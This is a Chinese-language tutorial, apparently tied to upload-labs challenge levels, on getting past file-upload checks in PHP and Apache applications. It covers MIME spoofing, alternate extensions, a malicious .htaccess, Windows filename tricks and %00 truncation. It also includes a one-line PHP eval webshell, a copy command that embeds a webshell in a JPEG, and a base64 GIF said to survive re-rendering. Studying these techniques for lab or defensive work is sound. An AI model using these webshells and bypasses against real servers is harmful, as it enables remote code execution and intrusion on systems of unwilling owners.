文件上传漏洞实战思路(基础)
准备一句话木马文件 mm.php
一, 前端绕过 p1
- 浏览器禁用js
 - 先把
mm.php后缀名修改为mm.jpg, 点击提交后, 用 burp 截取请求, 将数据包中的文件名修改回mm.php再提交. 
二, 类型MIME绕过 p2
使用 burp 修改 Content-Type: image/jpeg
三, 黑名单绕过 p3
后端禁止上传.asp|.aspx|.php|.jsp后缀文件.
 apache的httpd.conf中可能开启了其他类型脚本, 例如: AddType application/x-httpd-php .phps .phtml .php5 .php7 .pht
显然黑名单并不是好的防御方式, 用白名单更安全, 只允许某些类型.
 使用 .phtml .phps .php7 等后缀文件.
四, 后缀名解析绕过 p4
后端没有对上传文件重命名, apache是从后先前解析文件后缀名, 直到遇到php可以执行.
 cc -> bb -> aa -> php 发现php可以执行.
 使用 mm.php.aa.bb.cc
五, .htaccess 文件绕过 p4
 
后端可能没有限制上传 .htaccess 文件.
 .htaccess 文件是一个特殊的配置文件, 它用于配置当前目录下文件的行为, 允许任意格式的文件都作为php脚本执行.
 .htaccess文件内容:
SetHandler application/x-httpd-php
 
- 将这个
.htaccess文件上传. - 接下来只要上传任意可以绕过黑名单格式的文件都可以当作脚本执行.
使用mm.txt, mm.jpg, mm.rar等等. 
六, ". ."点空格点绕过 p5 p10
 
后端只去除了末尾的一个点, 上传后是 mm.php. , 注意末尾还有一个空格, 后面即使有一个空格也可以执行.
 由于windows系统中无法用这种方式作为后缀名, 所以用burp截取请求, 修改文件名再上传.
 使用 mm.php. .
七, 大小写绕过 p6
后端没有对文件名进行统一的大小写转换再判断后缀名.
 使用 mm.PhP, mm.Php, mm.pHp 等.
八, "."点绕过 p8
 
后端没有去除末尾的点, 上传后是 mm.php., 后面即使有一个点也可以执行.
 使用 mm.php.
九, 双写绕过
后端可能将php等脚本后缀名替换为空, 替换后只保留 mm.php .
 使用 mm.pphphp
十, Windows文件系统专用 p7 p9
空格后缀绕过:
在windows的文件系统中, 最后面的空格在上传后保存会自动删除, 变成mm.php
使用 burp修改文件名"mm.php "::$DATA绕过
在windows的NTFS文件系统中,$DATA在上传后保存会自动删除, 变成mm.php
使用 burp修改文件名mm.php::$DATA
十一, PHP旧版本专用 p12 p13
php版本5.3.4以下, 文件名中%00后面的字符在上传到服务器后回截断删掉, 只保留mm.php.
 使用 mm.php%00.jpg
十二, 图片马绕过
图片马绕过后上传到服务器, 如果没有.htaccess文件的情况下, 还需要通过文件包含漏洞来执行图片中的代码.
1. 低级防御绕过: p14
 后端对图片文件检查不严格时, 例如只读取前2个字节判断图片类型, 那么可以使用简单图片马.
 简单的图片马可以直接用记事本写一段文本, 再命名为mm.gif, 例如:
GIF89a
<?php @eval($_GET["cmd"]); ?>
 
简单图片木马虽然能绕过低级防御, 但是它并不是一个真正可以显示的有效的图片.
2. 中级防御绕过: p15 p16
 后端用 getimagesize() 函数读取图片的基本信息, 包括宽高, 大小, 类型数字, mime类型, 通道值等等. 用简单图片马显然不行.
 后端用 php_exif 模块的 exif_imagetype() 函数来判断图片, 用简单图片木马无法绕过.
此时我们需要用一张真正的图片制作木马.
 准备一张能够正常上传的普通图片test.jpg, 准备木马文件mm.php, 打开cmd, 用copy命将木马合并进图片中得到out.jpg:
copy test.jpg/b + mm.php/a out.jpg
 
copy命令将mm.php中的代码合并到test.jpg图片结束符的后面, 不会影响图片的结构, 所以out.jpg是一个可以正常显示的有效图片, 可以绕过检测.
3. 高级防御绕过: p17
 后端对上传的图片进行二次渲染.
在上传图片木马后, 后端使用 imagecreatefromjpeg() 函数对图片进行重新渲染, 生成一张新的图片保存到服务器.
 原本木马图片中位于末尾的php代码会被删除, 导致木马失效.
此时我们需要先下载二次渲染后的图片, 然后用文本编辑器, 或者十六进制编辑器打开这张图片, 尝试在其中出现NULNULNUL这种连续的位置中插入php代码,
然后再上传, 再次下载二次渲染后的图片, 查看代码是否保存成功, 如果代码没有被删除则图片木马成功, 如果代码消失了就重新修改插入代码的位置, 不断尝试直到代码不会被二次渲染删除.
以下是一张能够绕过二次渲染的图片:
data:image/gif;base64,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